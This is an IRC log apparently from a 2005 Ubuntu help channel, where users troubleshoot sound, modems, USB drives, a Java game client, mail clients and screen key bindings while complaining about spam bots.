[04:34] <puzzle> http://img121.imageshack.us/my.php?image=screenshot4is.png
[04:34] <lunitik> nate_, intelikey really means mkisofs
[04:34] <puzzle> look at taht
[04:34] <pepe> paulw
[04:34] <pepe> by the way
[04:34] <lunitik> nate_, apt-get it
[04:34] <pepe> did you set alsa as the standard sound driver? ^^
[04:34] <XRange> anyone got Minolta 2430 dl printing in evolution & mozilla-firefox
[04:35] <intelikey> if muted  [MM]  at the bottom of the column ...
[04:35] !lilo:*! Looks like we're good. Cancel the alert, and thanks. ;)
[04:35] <puzzle> hello
[04:35] <puzzle> omg no one here can help
[04:35] <pepe> Applications > Sound Video > Volume Control > File > change device
[04:35] <pepe> :P
[04:35] <pepe> mine was OSS by default
[04:35] <pepe> of course, neither setting worked anyways
[04:35] <nate_> how do I use this? Is it run right through terminal?
[04:36] <puzzle> hello
[04:36] <puzzle> hello hello
[04:36] <puzzle> am i muted
[04:36] <puzzle> can no one hear me
[04:36] <nate_> Hello Puzzle
[04:36] <puzzle> Nakkel,
[04:36] <intelikey> puzzle type  "google.com/linux" in your browser and search for "howto run java scripts"   :)
[04:36] <kelly_> i have made a scanmodem...but i dont know wer to find what is the model of my modem..im new.. this is my modemdata.txt ...please tell me what is my mode.. http://pastebin.com/349737
[04:36] <pepe> bash: ro: command not found
[04:36] <pepe> hm
[04:36] <puzzle> omg but i bet someone can help
[04:36] <puzzle> intelikey,
[04:36] <puzzle> thats what this channel is here for
[04:36] <cafuego> java -jar foo.jar is how to run java.
[04:36] <pepe> bimberi I can't really do what that link tells me, here :P
[04:37] <intelikey> no it's not.
[04:37] <cafuego> if you need javascript, get your head checked
[04:37] <puzzle> lol yea it is
[04:37] <puzzle> look at ubuntuguide.org
[04:37] <puzzle> http://img121.imageshack.us/my.php?image=screenshot4is.png
[04:37] <puzzle> look at that pic
[04:37] <reiki> puzzle: help comes faster to those that at least attempt to help themselves
[04:37] <kelly_> please help me..:(
[04:37] <puzzle> i have kept tryin and tryin
[04:37] <kelly_> i have made a scanmodem...but i dont know wer to find what is the model of my modem..im new.. this is my modemdata.txt ...please tell me what is my model.. http://pastebin.com/349737
[04:38] <kelly_> please help..
[04:38] <puzzle> http://img121.imageshack.us/my.php?image=screenshot4is.png
[04:38] <kelly_> :(
[04:38] <bimberi> pepe: yes you'll need to edit that file (menu.lst) and reboot i'm afraid
[04:38] <cafuego> puzzle: hint: a .BAT is for DOS.
[04:38] <puzzle> ok
[04:38] <Concord_Dawn> is there any way for me to backup to NTFS?
[04:38] <puzzle> well what do i do
[04:38] <cafuego> puzzle: See whati's in that file, run the Linux equivalent.
[04:38] <intelikey> well i could care less what some doc on ubuntu.org says about the perpose of the channel. puzzle i am not here to do web searches for you.   your question is java specific, not ubuntu specific.
[04:38] <pepe> which file?...
[04:38] <pepe> ohh
[04:38] <pepe> nm ^^
[04:38] <pepe> whoops...
[04:39] <bimberi> k :)
[04:39] <cafuego> it will be "java -cp SOmethingorother foo"
[04:39] <puzzle> @echo off
[04:39] <puzzle> title The Revolution - By Spikes Of Christ [SOC]  and Tsunami www.rsrevolution.net
[04:39] <puzzle> java -cp .;./BIN; client
[04:39] <puzzle> pause
[04:39] <puzzle> thats what the .bat says
[04:39] <XRange> anyone got Minolta 2430 dl printing in evolution & mozilla-firefox prints from OpenOffice fine
[04:39] <delltony> rainmen stop spamin you freakin dumbarse
[04:39] <puzzle> .bat
[04:40] <puzzle> client .bat
[04:40] <Concord_Dawn> erm
[04:40] <puzzle> @echo off
[04:40] <puzzle> title The Revolution - By Spikes Of Christ [SOC]  and Tsunami www.rsrevolution.net
[04:40] <puzzle> java -cp .;./BIN; client
[04:40] <puzzle> pause
[04:40] <kelly_> i have made a scanmodem...but i dont know wer to find what is the model of my modem..im new.. this is my modemdata.txt ...please tell me what is my model and brand of my modem.. http://pastebin.com/349737
[04:40] <cafuego> puzzle: "java -cp .;./BIN; client"
[04:40] <delltony> whats with all the spam bots lately?
[04:40] <kelly_> please help :(
[04:40] <cafuego> puzzle: ALso, please don't paste into the channel.
[04:40] <intelikey> puzzel read the topic
[04:40] <puzzle> sorry
[04:40] <puzzle> im sorry
[04:40] <puzzle> ok
[04:40] <puzzle> im sorry
[04:40] <puzzle> now what file do i make to run that
[04:40] <puzzle> cafuego,
[04:40] <cafuego> what do you mean make a file, just typ eit.
[04:40] <paulw> pepe, you still here?
[04:40] <kelly_> hello???? please help??????
[04:40] <puzzle> no not that
[04:40] <delltony> there we go i nneed to read the topic haha
[04:41] <puzzle> i cant run the .bat
[04:41] <cafuego> actually, java -cp .:./BIN client
[04:41] <paulw> pepe, i don't see which line i need to add acpi_irq_isa=7 to
[04:41] <puzzle> thats what the .bat says
[04:41] <cafuego> puzzle: I've told you TWICE now what to run
[04:41] <puzzle> so i can i make a linu
[04:41] <puzzle> how do i run it
[04:41] <puzzle> how
[04:41] <puzzle> caf
[04:41] <puzzle> cafuego,  please
[04:41] <puzzle> just say
[04:41] <kelly_> hello?????
[04:41] <puzzle> i am not that smart when it comes to this
[04:41] <puzzle> cafuego, please
[04:42] <Concord_Dawn> is there any way for me to backup to NTFS?
[04:42] <puzzle> omfg
[04:42] <puzzle> can someone just tell me
[04:42] <nalioth> Concord_Dawn: writing to NTFS from linux is a good start to an all-linux system
[04:42] <funkyHat> puzzle, maybe in a terminal window?
[04:43] <Concord_Dawn> I'm running a dual-boot.
[04:43] <nalioth> puzzle: .bat files run on windows
[04:43] <puzzle> nalioth, a lil late i know that
[04:43] <nalioth> Concord_Dawn: writing to NTFS can cause total NTFS partition failure
[04:43] <XRange> anyone got Minolta 2430 dl printing in evolution & mozilla-firefox .                prints from OpenOffice fine
[04:43] <xulMunkee> can LGPL software be modified and re-released as pure GPL?
[04:43] <Concord_Dawn> nalioth, yeah, I know.
[04:43] <intelikey> java -cp .;./BIN; client             puzzle   if you are too lame to type the command from the .bat file    and to lazy to even read a howto      tell me why we should care if you get that to work or not ?     please tell me why ?
[04:43] <Concord_Dawn> So is there a way for me to do it from WindowS?
[04:44] <puzzle> zzle   if you are too lame to type the command from the .bat file    and to lazy to even read a howto      tell me why we should care if you get that to work or not ?     please tell me why ?
[04:44] <puzzle> Concord_Dawn So is there a way for
[04:44] <puzzle> oops
[04:45] <puzzle> it did not work
[04:45] <ukjohnd> Concord_Dawn I use Acronis True image - works fine for me in XP
[04:45] <puzzle> dasameog@ubuntu:~/Desktop$ java -cp .:./BIN client
[04:45] <puzzle> Exception in thread "main" java.lang.NoClassDefFoundError: client
[04:45] <nalioth> burner: see the /topic
[04:45] <seth_k> burner, it's an attack right now
[04:45] <carthik> alright, so what could be preventing my usb drives from being detected and mounted?
[04:46] <puzzle> hello
[04:46] <puzzle> did anyone see what i said
[04:46] <pprince_> Hi.  How do I get a newer irssi in Ubtunu 5.04 (HH)?  irssi-text is 0.8.9 and irssi-snapshot is "0.8.6+cvs.20031111".  With irssi-snapshot installed, irssi --version reports 0.8.6
[04:46] <pprince_> irssi cvs is fine/great.
[04:46] <XRange> is there a channel for printing in Ubuntu
[04:46] <burner> pprince_, newer than .8.9?  compile from source? :)
[04:46] <xulMunkee> can LGPL software be modified and re-released as pure GPL?
[04:47] <pprince_> burner: Yeah, exactly, but I was hoping there was a package to do it for me :P
[04:47] <lunitik> Will Muine play .pls files? Rhythmbox is horribly broken  :(
[04:47] <burner> apt-get.org maybe?  be careful with those though
[04:47] <kelly_> i have made a scanmodem...but i dont know wer to find what is the model of my modem..im new.. this is my modemdata.txt ...please tell me what is my model and brand of my modem.. http://pastebin.com/349737
[04:47] <kelly_> hello???? please help??????
[04:47] <carthik> alright, so if i wanted to manually mount the usb hdd, how would i figure out which /dev/* to mount?
[04:48] <carthik> dmesg is not too helpful today on the desktop
[04:48] <puzzle> holly
[04:48] <burner> lunitik, i've been using beep, xfmedia, & amarok for the time being
[04:48] <puzzle> no one here helps
[04:48] <puzzle> i did what they say
[04:48] <lunitik> burner, beep maybe... hmm
[04:48] <pprince_> Maybe I'm missing something about irssi-snapshot, but isn't that supposed to install a nightly development snapshot from CVS?
[04:48] <carthik> puzzle, folks try to help - and say nothing when they can't help... thats the way it works... for free
[04:48] <lunitik> burner, assume its very much a known bug then?
[04:48] <jsubl2> kelly_, try running sudo wvdial   maybe you will get lucky
[04:48] <burner> lunitik, in rhythmbox?  using breezy?
[04:49] <lunitik> burner, yes
[04:49] <puzzle> they are not sayin they cant help
[04:49] <burner> yep :)
[04:49] <puzzle> my goodness
[04:49] <burner> new version was released today, but it didn't fix it for me
[04:49] <burner> supposedly it did for another lucky soul
[04:49] <lunitik> burner, k... cool... saves me a trip to b-u-c   :)
[04:49] <pprince_> helin is a SPAMMER
[04:49] <carthik> puzzle, what i intended to say is that there is no obligation :)
[04:49] <burner> i came here earlier today with the same question ;)
[04:49] <puzzle> i know
[04:49] <puzzle> but still
[04:49] <puzzle> my goodnes
[04:49] <carthik> what?
[04:49] <kelly_> jsubl2: no luck..:(
[04:49] <kelly_> any suggestion?
[04:50] <jsubl2> kelly_, no sorry.  have not used a modem in a long time.
[04:50] <tod_ko1> Hmm... this room has porn bots!
[04:50] <tod_ko1> Later
[04:50] <pprince_> YES.
[04:50] <Juhaz> puzzle, would you rather every last of the 315 people on the channel explicitly told you that they do not, in fact, know the answer?
[04:50] <funkyHat> tod_ko1, read the /topic
[04:50] <lunitik> burner, ooo... beep is quite nice... thanks   :)
[04:50] <kelly_> i realy dont know what is the modem of my laptop... i have tried scanmodem...but there are many txt..i dont know where is the model of my modem
[04:51] <pepe> alright
[04:51] <pepe> still no go on the sound system
[04:51] <puzzle> my goodnness why do people come in here to help if they done
[04:51] <bimberi> pepe: darn! oh well :(
[04:52] <pprince_> OPs: Channel has coordinated spammers from different hostmasks, changing nicks and connecting from different hosts.
[04:52] <nalioth> puzzle: rewrite your batch file
[04:52] <MaxKyoto> i've switched my window manager to blackbox, but for some reason my xsession file in $HOME isn't being used... any ideas?
[04:52] <puzzle> how
[04:52] <puzzle> nalioth,
[04:52] <nalioth> pprince_: see the /topic
[04:52] <pprince_> oh, sorry.
[04:52] <puzzle> did u see what happens when i d that
[04:53] <robotgeek> MaxKyoto: what are u using gdm/kdm?
[04:53] <MaxKyoto> gdm
[04:53] <carthik> lets try this another way - /dev/sda1 on this desktop is a scsi harddrive... /dev/sda3 and /dev/sda5 are other partitions on the harddrive (boot - swap and / respectively). So now if i plug in a usb drive, what would it be recongnized as - sorry - dmesg tells me nothing about the usb device being plugged in....
[04:54] <robotgeek> MaxKyoto: i think you might have to create a session or so, /etc/gdm/sessions
[04:54] <pepe> I'm on a VIA AC97 sound controller, and I can't get sound to come out of my headphones... I've tested them in other comps, and I used to get sound out of this box a couple days ago when I had Debian on it
[04:54] <intelikey> kelly_ did you try setting modem to /dev/ttyS0   or /dev/ttyS1  or S2 S3  to see if it was a hardware moden
[04:54] <pprince_> carthik: actually, /dev/sda is the drive and /dev/sda1, /dev/sda2, etc are all partitions.
[04:54] <carthik> robotgeek, hi! the usb thingy still no worky
[04:54] <pepe> I've checked everything that's come to mind, including whether it's muted or not
[04:54] <chucky_> aumix and check sound levels an mute
[04:54] <XRange> have you opened mixer to unmute
[04:54] <pepe> also, Volume Meter shows that there's sound output going on, but I'm not getting anything
[04:54] <robotgeek> carthik: not even lsusb output?
[04:54] <carthik> pprince_, oh, alright... so where would the usb drives be, if at all?
[04:54] <MaxKyoto> i have no /etc/gdm/sessions
[04:54] <pprince_> carthik: and, if dmesg said nothing, then the drive is probably not being recognized at all by the kernel because of lack of driver support (either compiled in or loaded as a module)
[04:55] <MaxKyoto> should i not use the session from the gdm chooser?
[04:55] <pepe> sound is unmuted and at decent levels
[04:55] <carthik> robotgeek, lsusb gives naught
[04:55] <ksmurf> WOW! That was cool!  The startup in breezy hasn't done anything till this update.  I had a black screen with ubuntu refected during startup.... that was COOL!
[04:55] <GoClick> Are there any good public DNS servers anyone knows of? My provider's servers keep crashing and that's not so good
[04:55] <carthik> pprince_, how come it works just fine on my laptop though? (which also runs same ubuntu version etc)
[04:55] <pprince_> carthik: I don't know.
[04:55] <carthik> pprince_, the usbmodules are loaded....
[04:56] <pprince_> carthik: Compare lsmod on your desktop and your laptop.
[04:56] <robotgeek> MaxKyoto: make a copy of whatever session is present, and edit it to use blackbox
[04:56] <pepe> anyone know what I can do to troubleshoot my sound system here?
[04:56] <XRange> GoClick used your router gatway as dns
[04:56] <robotgeek> carthik: maybe, the harddrive doesn't work without usb 2.0? :))
[04:56] <ksmurf> pepe ....  what's the issue
[04:56] <pepe> well
[04:56] <pepe> all my channels are unmuted
[04:56] <GoClick> XRange our router doesn't DO DNS :(
[04:56] <pepe> but I just can't get any sound
[04:57] <MaxKyoto> i already have a blackbox session in gdm (via apt-get install blackbox)
[04:57] <ksmurf> what card ?
[04:57] <carthik> pprince_, lsmod yields same results... on dektop it give u/o/ehci_hcd (usbcore)
[04:57] <pepe> VIA AC97
[04:57] <pprince_> carthik: huh?
[04:57] <carthik> robotgeek, but it does, just fine on another desktop (i plugged into into another...)
[04:57] <pepe> which is strange, because it's just about the most common sound controller I've seen :P
[04:57] <ksmurf> AC97 ...... Did you check the forums?
[04:57] <WillySilly> the colony 3 cd isnt on the website
[04:57] <pprince_> carthik: Are you using the same kernel package on both machines?
[04:57] <burner> lunitik, glad you like beep :)
[04:57] <carthik> pprince_, lsmod | grep usb gives usbcore 3 uhci_hcd, ehci_hcd, ehci_hcd is what i meant
[04:57] <pepe> there seemed to be some sort of solution having to do with the grub booter but still no go
[04:58] <carthik> pprince_, yes
[04:58] <funkyHat> pepe, have you tried it with anything other than skype?
[04:58] <carthik> pprince_, in fact i finished installing everything concurrently on both machines :)
[04:58] <pepe> yup
[04:58] <robotgeek> carthik: do the usb ports work?
[04:58] <pepe> I've tried it with a .wav file, and with a radio station thing
[04:58] <pepe> same thing
[04:58] <XRange> is there a channel for printing in Ubuntu
[04:58] <pprince_> carthik: :/ sorry then, I don't have time to help, or experience with that particular issue to help well/quickly in any case.
[04:58] <pepe> Volume Meter shows sound output going on, but I get nothing on my headphones
[04:58] <ksmurf> pepe ... sorry I don't have AC97 on this board so I won't be any help
[04:58] <keith> ackness- im havinga ton of trouble getting hte synaptic package manager to work
[04:58] <carthik> robotgeek, when i plug in a 128 sandisk cruzer, the lights on the 128MB card come on real bright
[04:59] <keith> it keeps reporting some kind of problem with kmix
[04:59] <keith> heres the error:
[04:59] <robotgeek> carthik: ahhh!
[04:59] <robotgeek> carthik: weird!!
[04:59] <keith> im attempting to install the sun java sdk
[04:59] <carthik> pprince_, i really appreciate your help.... i am too puzzled to know what to do next... really
[04:59] <lee> is there a way to tell the Software Update thingy in the panel next to the clock to ignore certain updates?  it's telling me there's an update for a java package, which I built manually, and there isn't
[04:59] <WillySilly> the colony 3 cd isnt on the website
[04:59] <keith> E: /var/cache/apt/archives/sun-j2re1.5_1.5.0+update04_i386.deb:  files list file for package `kmix' is missing final newline
[04:59] <kelly_> intelikey: yes i have... when i set it to /dev/ttyS1 if i connect it will say modem not responding.. if i change it to the diferent../dev/ttySo or other tty the error is.. cannot open modem...:(
[05:00] <keith> anyone know what i can do about this? its happening whenever i try to install ANYTHING
[05:00] <robotgeek> carthik: what usb hdd is this?
[05:00] <Jazy84> what program can be used to make dvd imgs
[05:00] <carthik> robotgeek, i know.... well, my desktop must have had a real rough day, i suppose :)
[05:00] <Jazy84> exact
[05:00] <Jazy84> ?
[05:00] <Jazy84> not movies or anything like that. but data
[05:00] <chucky_> i didn't think java would run on ubuntu
[05:00] <nalioth> chucky_: it does
[05:00] <carthik> robotgeek, its a 200 gig seagate in a external usb enclosue (but even the sandisk 128 mb usb stick wont work)
[05:01] <deprave> anyone have luck with installing scribus 1.3?
[05:01] <robotgeek> carthik: i have a similar setup
[05:01] <QMario> Can I use my Yahoo e-mail account with Evolution?
[05:01] <pprince_> I like how irssi-text refers to irssi-snapshot as "irssi-snapshot: Development version of the text-mode client" but it's not.
[05:01] <deprave> QMario : does yahoo have pop3?
[05:01] <deprave> or imap?
[05:01] <deprave> etc
[05:01] <pepe> ah here we go
[05:01] <deprave> anyone have luck with installing scribus 1.3?
[05:01] <pepe> how do I disable esd again?
[05:01] <intelikey> looks like it is /dev/ttyS1 (com2 in windows) but a winmodem  so if you are really lucky kelly_ you might find a driver for it,  check linmodem.com or something like that.
[05:01] <pepe> and use alsa instead
[05:01] <deprave> !scribus
[05:01] <ubotu> deprave: NO SPEAKE ENLISH!
[05:02] <deprave> !tell deprave about scribus
[05:02] <deprave> useless.
[05:02] <funkyHat> QMario, if you can set up yahoo to use pop3 and smtp, then yes (i think you can do the pop3, not sure about smtp though, so you may not be able to send mail, unless you have another email account)
[05:02] <nalioth> QMario: you'll need something like yahooPOPs or similar
[05:02] <master008> hi
[05:02] <nalioth> funkyHat: yahoo doesnt do pop3 unless you pay
[05:02] <robotgeek> QMario: thunderbird has a nice webmail plugin
[05:02] <pepe> I think my problems may be with the esd sound daemon
[05:02] <QMario> How do I stop these spam robots?
[05:02] <pprince_> QMario: Topic.
[05:02] <robotgeek> QMario: /topic
[05:02] <pepe> QMario /umode +CE
[05:02] <intelikey> i hate propritary hardware.....
[05:02] <pprince_> QMario: I wish they would just eliminate them, though.
[05:02] <pprince_> What is +CE anyway?
[05:03] <bimberi> !umode
[05:03] <ubotu> The freenode user modes are described at http://freenode.net/using_the_network.shtml
[05:03] <pprince_> thx, trying to find that.
[05:03] <master008> i have wireless card,,, how do i install my wireless network card in my laptop.. im using ubuntu
[05:03] <deprave> crap
[05:03] <QMario> Thank you!
[05:03] <master008> anybody help me
[05:03] <XRange> pepe:  try system, perefences, multimedia system selector
[05:04] <QMario> Who wants to look at pornography anyway? :'(
[05:04] <pepe> hmm
[05:04] <QMario> Not me! >:o
[05:04] <lunitik> sup @ smeg being quite nice  :o
[05:04] <pepe> ALSA doesn't work?...
[05:04] <pprince_> eww, +CE breaks stuff for me.  Are the spam bots too smart to deal with properly?
[05:04] <intelikey> !+wifi
[05:04] <ubotu> it has been said that wifi is https://wiki.ubuntu.com/WiFiHowto
[05:04] <XRange> pepe:  thats if you use gnome
[05:04] <nalioth> pprince_: what does it break?
[05:04] <Concord_Dawn> pprince_, Spam bots are too stupid to deal with it at all.
[05:05] <master008> any body wanna help me
[05:05] <pepe> I -am- using gnome
[05:05] <Concord_Dawn> master008, with what?
[05:05] <master008> i want to install my wireless network card on my laptop.
[05:05] <Concord_Dawn> ok
[05:05] <Concord_Dawn> what wireless card?
[05:05] <pepe> when I picked ALSA instead of ESD, I got an error that it can't make a pipeline to ALSA...
[05:05] <lunitik> pprince_, people that aren't registered can't message you... if this is related to your 'breaks' ... tell your 'friend' to register...
[05:05] <QMario> Is it possible to use Evolution with Gmail?
[05:05] <intelikey> !+tell master008 about wifi
[05:05] <ubotu> told master008 about wifi (rumour has it, wifi is https://wiki.ubuntu.com/WiFiHowto)
[05:05] <pprince_> Receiving (wanted) personal CTCP messages, sending (wanted) CTCP replies, and receiving (wanted) messages from unidentified users.
[05:05] <master008> its 11m wlan card
[05:05] <GoClick> QMario not really no
[05:05] <QMario> !spam
[05:05] <ubotu> QMario: What?
[05:05] <Concord_Dawn> pprince_, well, deal with it. It's either that or being flooded.
[05:05] <bytefoo> man, 3ddesktop is kind of laggy huh
[05:05] <pprince_> heh, whatever.
[05:06] <Concord_Dawn> bytefoo, yeah, but it's elite looking
[05:06] <GoClick> Although I predict Google will add IMAP interfaces to GMAIL eventually, OR someone will make one
[05:06] <QMario> Can I use Gmail with Thunderbird?
[05:06] <Concord_Dawn> master008, check out the link ubotu just gave you
[05:06] <Concord_Dawn> QMario, yes.
[05:06] <bytefoo> yeah, but for me it freezes everything for a split second every few seconds :-/
[05:06] <XRange> master008: try system , admin , networking in gnome in ubuntu
[05:06] <bytefoo> can't even type lol :X
[05:06] <robotgeek> QMario: yeah
[05:06] <Concord_Dawn> I have it working
[05:06] <QMario> How do I set it up?
[05:06] <bytefoo> it is sweet lookin though :-/
[05:06] <Concord_Dawn> one sec, lemme grab you the page
[05:07] <Concord_Dawn> QMario: http://gmail.google.com/support/bin/answer.py?answer=13285
[05:07] <master008> thanks you so much guys
[05:07] <Concord_Dawn> can anyone here add definitions to ubotu
[05:07] <Concord_Dawn> no problem master008
[05:08] <nalioth> QMario: log into your gmail account using a browser, and therer is a link there to set up your client
[05:08] <Concord_Dawn> nalioth, I just gave him the link :)
[05:08] <bimberi> Concord_Dawn: you can :)
[05:08] <bimberi> !tell Concord_Dawn about add
[05:08] <nalioth> Concord_Dawn: great! concurrence is good security
[05:09] <rendi> guy's anyone know about change gateway ?
[05:09] <XRange> is there channel for cups
[05:09] <cafuego> Oooher
[05:09] <XRange> is there channel for cups in ubuntu
[05:09] <XRange> got printer working in openoffice but not other apps
[05:09] <krazikamikaze> anyone here had any success getting the IT8212 raid controller to work in linux?
[05:09] <krazikamikaze> im sooo close but im completely stuck
[05:10] <cafuego> krazikamikaze: Isn't that software raid?
[05:10] <Concord_Dawn> ubotu gmail is Instructions to configure GMail with a POP3 client are located at http://mail.google.com/support/bin/answer.py?ctx=%67mail&hl=en&answer=12103
[05:10] <ubotu> okay, Concord_Dawn
[05:10] <XRange> evolution, mozilla-firefox want print
[05:10] <krazikamikaze> no its hw
[05:10] <rendi> !gateway
[05:10] <ubotu> rendi: I give up, what is it?
[05:10] <levander> How do I attach multiple terminal windows to the same screen session?
[05:10] <cafuego> krazikamikaze: An on-mobo chip?
[05:10] <krazikamikaze> yeah
[05:10] <Concord_Dawn> levander, what do you mean?
[05:10] <cafuego> software then
[05:10] <cafuego> the software being the bios on that chip
[05:10] <krazikamikaze> eh.. ok
[05:10] <funkyHat> levander, C-a c
[05:10] <Concord_Dawn> like have a tabbed terminal?
[05:10] <cafuego> used it in ide mode and use the kernel 'md' driver
[05:10] <bytefoo> yeah, there are very few HW raid cards :X
[05:10] <levander> Concord_Dawn: I want to have two terminal windows attached to the same screen session.
[05:10] <Concord_Dawn> like have a tabbed terminal?
[05:11] <levander> Concord_Dawn: screen is an application, you know the application screen?
[05:11] <Concord_Dawn> no.
[05:11] <Concord_Dawn> I don't.
[05:11] <pprince_> screen rocks.
[05:11] <masterloki> hi there can't someone help me
[05:11] <cafuego> bytefoo: there's nots, but they're invariable NOT integrated into a mobo and cost at LEAST five times as much as the mobo you'll be using it with :-)
[05:11] <funkyHat> levander, this guide is very good: http://gentoo-wiki.com/TIP_Using_screen
[05:11] <XRange> levander: try gnome-terminal konsole
[05:11] <krazikamikaze> what is md, its currently loaded on my system
[05:11] <Concord_Dawn> masterloki, we can try :)
[05:11] <XRange> levander: try gnome-terminal are konsole
[05:11] <masterloki> I have no sound and I've already been on the forums
[05:12] <bytefoo> exactly cafuego
[05:12] <cafuego> !raid
[05:12] <ubotu> from memory, raid is https://wiki.ubuntu.com/RaidConfigurationHowto
[05:12] <masterloki> Alsa seems to have the proper driver
[05:12] <funkyHat> XRange, that's probably not what levander wants
[05:12] <levander> funkyHat: thanks, that does look like a good guide
[05:12] <cafuego> Although, I think the one on my mobo won't run in IDE mode.
[05:12] <XRange> masterloki : try system, perefences, multimedia system selector
[05:12] <masterloki> and alsa mixer shows that master & PCM are at 100%
[05:12] <levander> XRange: yeah, I use terminal applications for different stuff than screen.
[05:12] <cafuego> krazikamikaze: Do you have spare normal DIE ports on the mobo?
[05:12] <cafuego> s/DIE/IDE/
[05:12] <intelikey> masterloki it's not muted ?    sudo alsamixer
[05:12] <krazikamikaze> i have 1
[05:13] <krazikamikaze> so anyway, i can see the hd, i can see the partitions
[05:13] <levander> funkyHat: you use emacs and screen?  Need to remap screens C-a prefix to all it's commands, but not sure what a good thing to remap it is.  Emacs uses C-a to go to the beginning of the current line.  Having the two conflict really sux.
[05:13] <cafuego> krazikamikaze: Ah that's fine then.
[05:13] <masterloki> intelikey: nope, it's not muted
[05:13] <krazikamikaze> but every time i try to mount it says its busy or "already mounted"
[05:13] <funkyHat> levander, no, i use vim
[05:13] <krazikamikaze> which its not
[05:13] <krazikamikaze> im using the 2.6.11-ac7
[05:14] <Gazer_> Evening.. how do you enable dma on a cdrom drive on a PPC G3 Lombard?  How do you know what the cdrom is referred to?
[05:14] <funkyHat> ok, levander there is an escape code to use C-a in the application that is running, it's in that guide somewhere
[05:14] <XRange> got printer working in openoffice but not other apps like evolution & firefox
[05:14] <rendi> guy's
[05:14] <rendi> many spamer there
[05:14] <cafuego> Gazer_: it'd be /dev/hdb or /dev/hdc probably.
[05:14] <professor_chaos> Question? With a new drive, do I need to fdisk, or can I just mkfs? To create ext3...
[05:15] <konra`> I am trying to run something, and I get an error: "error while loading shared libraries: libSDL_image-1.2.so.0: cannot open shared object file: No such file or directory" what do I need?
[05:15] <cafuego> professor_chaos: fdisk to create a partition, then mkfs
[05:15] <krazikamikaze> any idea why it would give me that error though?
[05:15] <krazikamikaze> mount: /dev/hde5 already mounted or rdata0 busy
[05:15] <professor_chaos> cafuego, a new disk is not already a partiton???
[05:15] <bytefoo> now i have to fix my wireless :-/
[05:15] <keith> ack guys i really need help- no matter what i try to insatll on the package manager it returns a problem with kmix:
[05:15] <keith> E: /var/cache/apt/archives/sun-j2re1.5_1.5.0+update04_i386.deb:  files list file for package `kmix' is missing final newline
[05:15] <krazikamikaze> neither of which is true
[05:15] <cafuego> professor_chaos: of course not
[05:15] <keith> and i cant install anything
[05:15] <konra`> professor_chaos, you have to create partitions, and then format them
[05:16] <levander> funkyHat: yeah, but don't think I want to hit the escape code every time I want to go to the beginning of the line in emacs.  Think it would just be easier to remap C-a in screen to something else.  Not sure what the best thing to re-map it is, to avoid as many conflicts as possible with emacs.
[05:16] <fanopnaic> konra`: you probably need to install libsdl-image1.2
[05:16] <konra`> professor_chaos, partitions are made by fdisk, formatted by mkfs
[05:16] <professor_chaos> konra`, but a new disk doesn't have a partition?
[05:16] <konra`> fanopnaic, cna I do that from synaptic?
[05:16] <fanopnaic> Yep
[05:16] <funkyHat> levander, perhaps C-\
[05:16] <konra`> professor_chaos, it might, but safest bet is to make the partiton table anyways
[05:17] <professor_chaos> konra`, cafuego Thanks
[05:17] <konra`> welcome
[05:17] <levander> funkyHat: that's not a bad guess.  I just tried it in emacs.  C-\ enables some kind of multi-lingual input I'll never need, because I only speak one language.
[05:18] <funkyHat> :)
[05:18] <funkyHat> and you can escape it anyway if you ever do need it
[05:18] <professor_chaos> whats with the free sex cameras???
[05:18] <levander> funkyHat: I would use C-q, but not sure if it would matter that I'm conflicting with the control flow sequence.  You know, C-q and C-s?
[05:18] <intelikey> masterloki you can do "play <any-sound-file> & od /dev/dsp "  [ctro] +C to stop od   if it outputs lines of numbers to the screen the software is working, possably wrong card selected or other (hardware) problem    if no output setup alsa again
[05:18] <levander> professor_chaos: free sex cameras?
[05:18] <bimberi> professor_chaos: the channel is being infested by spambots - see last bit of /topic
[05:18] <funkyHat> levander, the spambots
[05:18] <carthik> professor_chaos, please read the /topic
[05:18] <funkyHat> professor, do /umode +CE
[05:19] <professor_chaos> OK, I'm new to irc and this channel!
[05:19] <rendi> dude
[05:19] <rendi> many many spam here
[05:19] <carthik> professor_chaos, it's all fine...
[05:19] <intelikey> we need some boticide.....
[05:19] <funkyHat> rendi, read the /topic
[05:20] <carthik> one more mention of spam, and that's it - i will get a job at walmart!!!
[05:20] <funkyHat> hahaha
[05:20] <carthik> ;)
[05:20] <bimberi> spam :)
[05:20] <intelikey> :)
[05:20] <masterloki> intelikey: got number, but I'm sure I got the right card and the right driver
[05:20] <funkyHat> !spam
[05:20] <ubotu> parse error: dunno what the heck you're talking about, funkyHat
[05:20] <masterloki> !spam
[05:21] <bimberi> carthik: lol
[05:21] <intelikey> check speakers speakerwires propper port plug ,,,,, masterloki
[05:21] <bytefoo> when a package is not available, but is referred to by another package...how do I find out which package is referring to it and what is it saying about the missing package? o_O
[05:21] <funkyHat> ubotu, spam is a problem that is affecting #ubuntu at the moment, to overcome it please type '/mode *your nickname* +CE' and hit enter
[05:21] <ubotu> funkyHat: okay
[05:21] <masterloki> intelikey: They're in the right jack, they work on XP
[05:22] <tjs> Im running ubuntu on my dell inspiron 9200, having issues with the disks powering down to quickly. im not sure if its a laptop power management thing.. but stuff like tab completing paths is taking seconds while the disk spins up, its a PITA
[05:22] <masterloki> man someone is spamming me
[05:22] <tjs> can I make it stay powered up for a few minutes?
[05:23] <bytefoo> :|
[05:23] <runelind> I am having issues mounting a windows networked drive
[05:23] <bytefoo> marital issues? :D
[05:23] <runelind> I do mount -t smbfs username=username //ip/share /mount/point
[05:23] <intelikey> hmmmm masterloki you've got a good one then.  i don't know what to tell you...  if the software is outputing sound to the device and the hardware all works correctly it should work......
[05:23] <runelind> and after putting in my password it seems happy
[05:23] <runelind> but when I ls the dir I get permission denied
[05:24] <funkyHat> masterloki... see what i just said to ubotu ^
[05:24] <Chrustinho> how can i delete softlinks?
[05:24] <pprince_> with rm
[05:25] <runelind> anyone have any thoughts?
[05:25] <intelikey> Chrustinho man rm
[05:25] <masterloki> intelikey: I was using FC4 and sound was right
[05:25] <pprince_> ln -s /path/to/realfile /path/to/newsymlink makes a symlink, rm /path/to/newsymlink removes it.
[05:25] <Chrustinho> is i sure that it doesn't delete the source files?
[05:25] <Chrustinho> +t
[05:25] <pprince_> Yes.
[05:25] <Chrustinho> ok, thanks
[05:25] <intelikey> Chrustinho man rm
[05:26] <masterloki> but I've erased FC4 totally so I can't get that config
[05:26] <masterloki> any ideas
[05:26] <runelind> the user has full permissions on the windows side of thing
[05:26] <runelind> s
[05:26] <lunitik> masterloki, you know what module you need?
[05:27] <funkyHat> masterloki, try setting your default inputs and outputs to alsa, and run killall esd in a terminal window
[05:27] <professor_chaos> runelind, why would linux care about M$ permissions...
